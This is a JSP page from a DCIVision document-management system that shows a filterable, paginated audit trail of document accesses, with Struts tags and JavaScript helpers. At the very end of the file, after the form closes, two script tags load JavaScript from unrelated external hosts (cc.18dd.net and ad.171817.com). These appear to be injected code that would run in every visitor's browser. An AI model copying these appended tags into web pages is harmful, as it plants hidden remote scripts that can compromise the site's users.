<%
/*
 * @(#)ListDmsAuditTrail.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsAuditTrail.jsp

  This is a ListDmsAuditTrail page.  It shows the System User Defined Index in EIP.

    @author             Zoe Shum
    @company            DCIVision Ltd
    @creation date      18/09/2003
    @version            $Revision: 1.43.2.23 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.audit.bean.*" %>
<%@ page import="com.dcivision.audit.*" %>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>

<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsAuditTrailForm" scope="request" class="com.dcivision.dms.web.ListDmsAuditTrailForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "dmsAuditTrailList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.columnheader.file_accessed", GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.location", GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.access_type", "ACCESS_TYPE"},
                            {"common.columnheader.ip_address", "IP_ADDRESS "},
                            {"common.columnheader.accessor_name", GlobalConstant.NOT_AVAILABLE},
                            {"common.columnheader.accessor_date", "ACCESS_DATE"}
                          };

    String[][] ACCESS_SEARCH_MAP = {
                 {"audit.label.access_type_CI", AuditTrailConstant.ACCESS_TYPE_CHECK_IN},
                 {"audit.label.access_type_CO", AuditTrailConstant.ACCESS_TYPE_CHECK_OUT},
                 {"audit.label.access_type_CP", AuditTrailConstant.ACCESS_TYPE_COPY},
                 {"audit.label.access_type_CPS",AuditTrailConstant.ACCESS_TYPE_COPY_SHORTCUT},
                 {"audit.label.access_type_CC", AuditTrailConstant.ACCESS_TYPE_COPY_CREATE},
                 {"audit.label.access_type_CCS",AuditTrailConstant.ACCESS_TYPE_COPY_CREATE_SHORTCUT},
                 {"audit.label.access_type_PF", AuditTrailConstant.ACCESS_TYPE_COPY_FOLDER},
                 {"audit.label.access_type_C", AuditTrailConstant.ACCESS_TYPE_CREATE},
                 {"audit.label.access_type_CF", AuditTrailConstant.ACCESS_TYPE_CREATE_FOLDER},
                 {"audit.label.access_type_CSC", AuditTrailConstant.ACCESS_TYPE_CREATE_SHORTCUT},
                 {"audit.label.access_type_D", AuditTrailConstant.ACCESS_TYPE_DELETE},
                 {"audit.label.access_type_DSC",AuditTrailConstant.ACCESS_TYPE_DELETE_SHORTCUT},
                 {"audit.label.access_type_DF", AuditTrailConstant.ACCESS_TYPE_DELETE_FOLDER},
                 {"audit.label.access_type_MV", AuditTrailConstant.ACCESS_TYPE_MOVE},
                 {"audit.label.access_type_MVS",AuditTrailConstant.ACCESS_TYPE_MOVE_SHORTCUT},
                 {"audit.label.access_type_MF", AuditTrailConstant.ACCESS_TYPE_MOVE_FOLDER},
                 {"audit.label.access_type_RN", AuditTrailConstant.ACCESS_TYPE_RENAME},
                 {"audit.label.access_type_RNS",AuditTrailConstant.ACCESS_TYPE_RENAME_SHORTCUT},
                 {"audit.label.access_type_U", AuditTrailConstant.ACCESS_TYPE_UPDATE},
                 {"audit.label.access_type_V", AuditTrailConstant.ACCESS_TYPE_VIEW},
                 {"audit.label.access_type_IC", AuditTrailConstant.ACCESS_TYPE_INVITATION_CREATE},
                 {"audit.label.access_type_A", AuditTrailConstant.ACCESS_TYPE_ARCHIVE},
                 {"audit.label.access_type_B", AuditTrailConstant.ACCESS_TYPE_BACKUP}
                };

  String pageFlag = "listDmsAuditTrail";

  int     COLUMN_OFFSET = 2;

  String pageURL ="";
  pageURL ="ListDmsAuditTrail.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
  pageURL =java.net.URLEncoder.encode(pageURL);

  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
   Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);

   DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);
   String objectName="";
   String objectID="";
   String docFolder = DmsOperationConstant.USE_DOC_FOLDER_PICKER;
   objectName = listDmsAuditTrailForm.getObjectName() == null?objectName:listDmsAuditTrailForm.getObjectName();
   objectID = listDmsAuditTrailForm.getObjectID() == null?objectID:listDmsAuditTrailForm.getObjectID();
   DmsDocument tmpDocument = new DmsDocument();
   Integer curRootID = docRetrievalManager.getRootID();
   Integer curParentID = new Integer(0);
   if (objectID != null && !"".equals(objectID)){
     try{
       tmpDocument = (DmsDocument)docRetrievalManager.getDocument(TextUtility.parseIntegerObj(objectID));
     } catch (ApplicationException e){
     }
     curRootID = tmpDocument.getRootID();
     curParentID = tmpDocument.getParentID();
   }
%>
<script language="javascript">
<!--
function OpSearchByPeriodType(period){
    document.listDmsAuditTrailForm.curPageNO.value="";
    document.listDmsAuditTrailForm.lastPageNO.value="";
    document.listDmsAuditTrailForm.pageAmount.value="";
    document.listDmsAuditTrailForm.cursor.value="";
    document.listDmsAuditTrailForm.curStartRowNo.value = 1;
    document.listDmsAuditTrailForm.periodType.value=period;
    if( "full" == period ){
    	document.listDmsAuditTrailForm.accessDateFrom.value = "";
    	document.listDmsAuditTrailForm.accessDateTo.value = "";
    	
    }
    document.listDmsAuditTrailForm.submit();
    return false;
}

function OpCustListReset(frm){
  document.listDmsAuditTrailForm.curPageNO.value="";
  document.listDmsAuditTrailForm.lastPageNO.value="";
  document.listDmsAuditTrailForm.pageAmount.value="";
  document.listDmsAuditTrailForm.cursor.value="";
  document.listDmsAuditTrailForm.rootID.value="";
  document.listDmsAuditTrailForm.parentID.value="";
//  document.listDmsAuditTrailForm.accessDateFrom.value='';
//  document.listDmsAuditTrailForm.accessDateTo.value='';
  document.listDmsAuditTrailForm.periodType.value='month';
  document.listDmsAuditTrailForm.accessType.value='';
  document.listDmsAuditTrailForm.userRecordID.value='';
  document.listDmsAuditTrailForm.objectID.value='';
  document.listDmsAuditTrailForm.objectName.value='';
  return OpListReset(frm);
}

function OpCustList(frm, sortValue, sortOrder) {
  document.listDmsAuditTrailForm.curPageNO.value="";
  document.listDmsAuditTrailForm.lastPageNO.value="";
  document.listDmsAuditTrailForm.pageAmount.value="";
  document.listDmsAuditTrailForm.cursor.value="";
  document.listDmsAuditTrailForm.periodType.value='';
  if(document.listDmsAuditTrailForm.accessDateFrom.value != "" && document.listDmsAuditTrailForm.accessDateTo.value != "")  {
    if (compareDateValue(document.listDmsAuditTrailForm.accessDateFrom.value,document.listDmsAuditTrailForm.accessDateTo.value,true) > -1){
      alert("<bean:message key='dms.message.end_date_earlier_than_start_time'/>");
      return (false);
    }
  }
  OpList(frm, sortValue, sortOrder);

}

function CustList(frm){
  var sortAttribute=document.listDmsAuditTrailForm.sortAttribute.value;
  var sortOrder=document.listDmsAuditTrailForm.sortOrder.value;
  frm.curPageNO.value=0;
  OpList(frm,sortAttribute,sortOrder);
}

function getListDocument(rootID,parentID){
  return(popupSelectionPanel(rootID, parentID, 'objectName', 'objectID','<%=docFolder%>'));
}

// For selecting list dms
function popupSelectionPanel(rootID, parentID, displayField, hiddenField,pageFlag,returnTo) {
  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }

  var selectedDoc = eval("frm."+hiddenField+".value");
  var url = "<%= request.getContextPath() %>" + "/dms/ListDmsSelectDocFolder.do?rootID=" + rootID + "&parentID=" + parentID + "&formName=" + frm.name + "&displayFieldName=" + displayField+ "&pageFlag=" + pageFlag +"&returnTo=" +returnTo+ "&hiddenFieldName=" + hiddenField + "&selectedDoc=" + encodeURIComponent(selectedDoc) + "&showAuditTrail=true&onlyPublic=true";
  var name = "DCIVisionPopupDmsSelectSinglePanel";
  var popW = "900";
  var popH = "550";
  var feature = "scrollbars=yes,resizable=yes";

  return OpenCenteredPopup(url, name, popW, popH, feature);
}

function compareDateValue(dateObj1, dateObj2, ignoreTime) {
  dateFormat = '<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DB_DATETIME_FORMAT)%>';
  yearStart = dateFormat.indexOf("y");
  yearEnd = dateFormat.lastIndexOf("y");
  monthStart = dateFormat.indexOf("M");
  monthEnd = dateFormat.lastIndexOf("M");
  dayStart = dateFormat.indexOf("d");
  dayEnd = dateFormat.lastIndexOf("d");
  hourStart = dateFormat.indexOf("H");
  hourEnd = dateFormat.lastIndexOf("H");
  minStart = dateFormat.indexOf("m");
  minEnd = dateFormat.lastIndexOf("m");
  secStart = dateFormat.indexOf("s");
  secEnd = dateFormat.lastIndexOf("s");

  if (yearStart==-1 || yearEnd==-1 || monthStart==-1 || monthEnd==-1 || dayStart==-1 || dayEnd==-1
      || hourStart==-1 || hourEnd==-1 || minStart==-1 || minEnd==-1 || secStart==-1 || secEnd==-1) {
    alert("<bean:message key='common.message.invalid_date_format'/>");
  }

  jsDate1 = null;
  if (dateObj1!=null && dateObj1!='') {
    year1 = dateObj1.substring(yearStart, yearEnd+1);
    month1 = dateObj1.substring(monthStart, monthEnd+1);
    day1 = dateObj1.substring(dayStart, dayEnd+1);
    hour1 = dateObj1.substring(hourStart, hourEnd+1);
    min1 = dateObj1.substring(minStart, minEnd+1);
    sec1 = dateObj1.substring(secStart, secEnd+1);
    if (ignoreTime) {
      jsDate1 = new Date(year1, month1-1, day1);
    } else {
      jsDate1 = new Date(year1, month1-1, day1, hour1, min1, sec1);
    }
  }

  jsDate2 = null;
  if (dateObj2!=null && dateObj2!='') {
    year2 = dateObj2.substring(yearStart, yearEnd+1);
    month2 = dateObj2.substring(monthStart, monthEnd+1);
    day2 = dateObj2.substring(dayStart, dayEnd+1);
    hour2 = dateObj2.substring(hourStart, hourEnd+1);
    min2 = dateObj2.substring(minStart, minEnd+1);
    sec2 = dateObj2.substring(secStart, secEnd+1);
    if (ignoreTime) {
      jsDate2 = new Date(year2, month2-1, day2);
    } else {
      jsDate2 = new Date(year2, month2-1, day2, hour2, min2, sec2);
    }
  }
  if (jsDate1==null && jsDate2==null) {
    return 0; //treat as the same
  } else if (jsDate1==null) {
    return 1; //date 2 is later
  } else if (jsDate2==null) {
    return -1; //date 1 is earlier
  } else {
    if (jsDate1-jsDate2>0) {
      return 1; //date1 is later than date2
    } else if (jsDate1-jsDate2<0 || jsDate1-jsDate2==0) {
      return -1; //date1 is earlier than date2
    } else {
      return 0; //they are equals
    }
  }
}

function PagerGoto(frm, value, navMode) {
  listDmsAuditTrailForm.curPageNO.value = value;
  listDmsAuditTrailForm.navMode.value = NAV_MODE_LIST;
  listDmsAuditTrailForm.submit();
  return (false);
}

function OpList(frm, sortValue, sortOrder, navMode) {
  frm.curPageNO.value="";
  frm.lastPageNO.value="";
  frm.pageAmount.value="";
  frm.cursor.value="";
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }

  frm.sortAttribute.value = sortValue;
  frm.sortOrder.value = sortOrder;
  frm.curStartRowNo.value = 1;

  frm.opMode.value = NAV_MODE_LIST;
  frm.navMode.value = NAV_MODE_LIST;
  if (navMode!=null) {
    frm.navMode.value = navMode;
  }

  frm.submit();
  return false;
} // end of the 'OpList()' function

function OpListReset(frm) {
  frm.curPageNO.value="";
  frm.lastPageNO.value="";
  frm.pageAmount.value="";
  frm.cursor.value="";
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }
  //frm.sortAttribute.value = '';
  //frm.sortOrder.value = '';
  frm.basicSearchField.value = '';
  frm.basicSearchKeyword.value = '';
  frm.curStartRowNo.value = 1;

  frm.navMode.value = NAV_MODE_LIST;
  frm.submit();
  return false;
}

function datePickerValueChanged(txt){
	document.listDmsAuditTrailForm.periodType.value='';
}

-->
</script>
<!-- Form Section Begin -->
<html:form action="dms/ListDmsAuditTrail" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="periodType"/>
<html:hidden property="basicSearchField"/>
<html:hidden property="basicSearchKeyword"/>
<html:hidden property='curFunctionCode'/>
<html:hidden property="curPageNO"/>
<html:hidden property="lastPageNO"/>
<html:hidden property="cursor"/>
<html:hidden property="pageAmount"/>
<html:hidden property="parentID"/>
<html:hidden property="rootID"/>
<input type="hidden" name="objectID" value="<%=objectID%>" />

<!-- Page List Bar Begin -->
<layout:listBar>
    <div class="button">
      <layout:returnButton className="but-standard"/>
    </div>
    <layout:filterControl/>
    </layout:listBar>
<!-- Page List Bar End -->

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
        <table>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <bean:message key='common.label.view'/>
                </td>
                <td colspan="3" nowrap>
                    <logic:notEqual name='listDmsAuditTrailForm' property='periodType' value='today'><a href="javascript://" onClick="return OpSearchByPeriodType('today');"></logic:notEqual><logic:equal name='listDmsAuditTrailForm' property='periodType' value='today'><font class='highlightColor'></logic:equal><bean:message key='common.label.today'/><logic:equal name='listDmsAuditTrailForm' property='periodType' value='today'></font></logic:equal><logic:notEqual name='listDmsAuditTrailForm' property='periodType' value='today'></a></logic:notEqual>&nbsp;|&nbsp;
                    <logic:notEqual name='listDmsAuditTrailForm' property='periodType' value='week'><a href="javascript://" onClick="return OpSearchByPeriodType('week');"></logic:notEqual><logic:equal name='listDmsAuditTrailForm' property='periodType' value='week'><font class='highlightColor'></logic:equal><bean:message key='common.label.this_week'/><logic:equal name='listDmsAuditTrailForm' property='periodType' value='week'></font></logic:equal><logic:notEqual name='listDmsAuditTrailForm' property='periodType' value='week'></a></logic:notEqual>&nbsp;|&nbsp;
                    <logic:notEqual name='listDmsAuditTrailForm' property='periodType' value='month'><a href="javascript://" onClick="return OpSearchByPeriodType('month');"></logic:notEqual><logic:equal name='listDmsAuditTrailForm' property='periodType' value='month'><font class='highlightColor'></logic:equal><bean:message key='common.label.this_month'/><logic:equal name='listDmsAuditTrailForm' property='periodType' value='month'></font></logic:equal><logic:notEqual name='listDmsAuditTrailForm' property='periodType' value='month'></a></logic:notEqual>&nbsp;|&nbsp;
                    <logic:notEqual name='listDmsAuditTrailForm' property='periodType' value='full'><a href="javascript://" onClick="return OpSearchByPeriodType('full');"></logic:notEqual><logic:equal name='listDmsAuditTrailForm' property='periodType' value='full'><font class='highlightColor'></logic:equal><bean:message key='common.label.full_list'/><logic:equal name='listDmsAuditTrailForm' property='periodType' value='full'></font></logic:equal><logic:notEqual name='listDmsAuditTrailForm' property='periodType' value='full'></a></logic:notEqual>
                </td>
            </tr>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <bean:message key='common.label.access_from'/>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:datepicker property='accessDateFrom'/>
                    <script type="text/javascript">
                    	document.listDmsAuditTrailForm.accessDateFrom.onchange = datePickerValueChanged;
                    </script>
                </td>
                <td class="filterPanelItem" nowrap>
                    <bean:message key='common.label.access_to'/>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:datepicker property='accessDateTo'/>
                    <script type="text/javascript">
                    	document.listDmsAuditTrailForm.accessDateTo.onchange = datePickerValueChanged;
                    </script>
                </td>
            </tr>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <bean:message key='common.columnheader.accessor_name'/>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:userpicker style="width:120px" property='userRecordID' pageFlag='<%=pageFlag%>'/>
                </td>
                <td class="filterPanelItem" nowrap>
                    <bean:message key="dms.columnheader.file_accessed"/>
                </td>
                <td class="filterPanelItem" nowrap>
                    <input style="width:120px" type="text" name="objectName" value="<%=objectName%>" maxlength="30" readOnly/>
                    <a href='#' onClick='return(getListDocument(<%=curRootID%>,<%=curParentID%>))'><html:img src='IconPopupSearch.gif' border="0" align='absmiddle'/></a>
                </td>
            </tr>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <bean:message key='audit.label.access_type'/>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:select property="accessType" onkeypress="onKeyPressHandler(event);">
                        <html:options stringArray='<%=ACCESS_SEARCH_MAP%>'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap></td>
                <td class="filterPanelItem" nowrap></td>
            </tr>
        </table>
    </div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listDmsAuditTrailForm, '${listDmsAuditTrailForm.sortAttribute}', '${listDmsAuditTrailForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpCustListReset(listDmsAuditTrailForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->

<%try{%>
<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listDmsAuditTrailForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsAuditTrailForm.getSortAttribute()%>" sortOrder="<%=listDmsAuditTrailForm.getSortOrder()%>" copyColumn="false" checkColumn="false" editColumn="false"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="auditTrail" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <% AuditTrail tmpAuditTrail = (AuditTrail) auditTrail; %>
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%= tmpAuditTrail.getID()%>);">
  <% DmsDocument dmsDocument = docRetrievalManager.getDocument(tmpAuditTrail.getObjectID());
  	 if(dmsDocument == null) {
  		 dmsDocument = new DmsDocument();
  	 }
  	 
    String permission = request.getParameter("permission");
    DmsDocument documentRoot = docRetrievalManager.getRootFolderByRootID(dmsDocument.getRootID());
    if (Utility.isEmpty(permission)){
      PermissionManager permissionManager = sessionContainer.getPermissionManager();
      permission = permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, dmsDocument.getID());
    }
    // Document file can not show linkage. EIP-1481 07/01/24 LEE
    boolean isNotShowLink = DmsDocument.FOLDER_TYPE.equals(dmsDocument.getDocumentType()) ? false : true;
    Integer docID = dmsDocument.getID();
    String sObjectName = tmpAuditTrail.getObjectName();
  %>
    <td nowrap>
    	<% if(docID != null && docID.intValue() > 0 && dmsDocument.getDocumentName().equals(sObjectName)) { %> 
      			<nobr><dms:documentInfo docObject='<%=dmsDocument%>' recordStatus='<%=dmsDocument.getRecordStatus()%>' permission='<%=permission%>' rootDocument='<%=documentRoot%>' pageFlag='<%=pageFlag%>' isOverLib='<%=isNotShowLink%>'/></nobr>
      <% 	} else {%>
				 <%	String documentName = sObjectName;

				 		if(documentName.length() > DmsOperationConstant.DEFAULT_DBC_LIMIT_LENGTH) {
				 		 documentName = documentName.substring(0, DmsOperationConstant.DEFAULT_DBC_LIMIT_LENGTH).replaceAll(" ", "&nbsp;") + "...";
				 	  }
				 		
				 		StringBuffer showDocInfo = new StringBuffer("");
				 		showDocInfo.append("<a onmouseover=\"return getDocumentInfo('<table border=0 cellpadding=0 cellspacing=1>  <tr>    <td>Name: </td>    <td>" + sObjectName + "</td>  </tr></table>');\"     onmouseout=\"return nd();\">");
				 		showDocInfo.append("<font ");

				 		if(docID != null && docID.intValue() > 0) {
				 			if(!GlobalConstant.STATUS_ACTIVE.equals(dmsDocument.getRecordStatus()) ) {
					 			showDocInfo.append(" style='text-decoration: line-through;'");
				 			} else {
					 			showDocInfo.append(" class=''");
				 			}
				 		} else {
				 			showDocInfo.append(" color='#CCCCCC' style='text-decoration: line-through;'");
				 		}

				 		showDocInfo.append(" >");
				 		showDocInfo.append(documentName);
				 		showDocInfo.append("</font></a>");
				 %>
				 	<nobr><%=showDocInfo%></nobr>
			<% } %>
    </td>
    <td>
    	<% if(docID != null && docID.intValue() > 0) { %>
      	<dms:locationPath parentID="<%=dmsDocument.getParentID()%>" rootID="<%=dmsDocument.getRootID()%>" permission='<%=permission%>' rootDocument='<%=documentRoot%>' indexFlag='showIndexFlag' returnTo='<%=pageURL%>' />
      <% } else if(GlobalConstant.AUDIT_TRAIL_DMS_FINAL_VERSION_NUM.equals(tmpAuditTrail.getVersionNumber())) { %>
      	<bean:message key='dms.label.recycle_bin'/>		
      <% } else { %>
      	<bean:message key='dms.label.not_applicable'/>
      <% } %>
    </td>
    <td nowrap>
    <%String accessType = "audit.label.access_type_" + ((AuditTrail)auditTrail).getAccessType().trim();%>
            <nobr><bean:message key='<%=accessType%>'/></nobr>

    </td>
    <td width="100"><bean:write name='auditTrail' property='ipAddress'/></td>
    <td class="bodyVerySmall"><%=UserInfoFactory.getUserFullName(((AuditTrail)auditTrail).getAccessorID())%></td>
    <td class="bodyVerySmall" nowrap><bean:write name='auditTrail' property='accessDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
</table>
</div>
<!-- Table Showing Record List End -->

<!-- Pager Information Begin -->
<div class="listStatusBar">
  <layout:pager form="listDmsAuditTrailForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
</div>
<!-- Pager Information End -->

<%}catch(Exception e){
   LogFactory.getLog(this.getClass()).error(e, e);
  }%>
</html:form>
<!-- Form Section End -->


<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>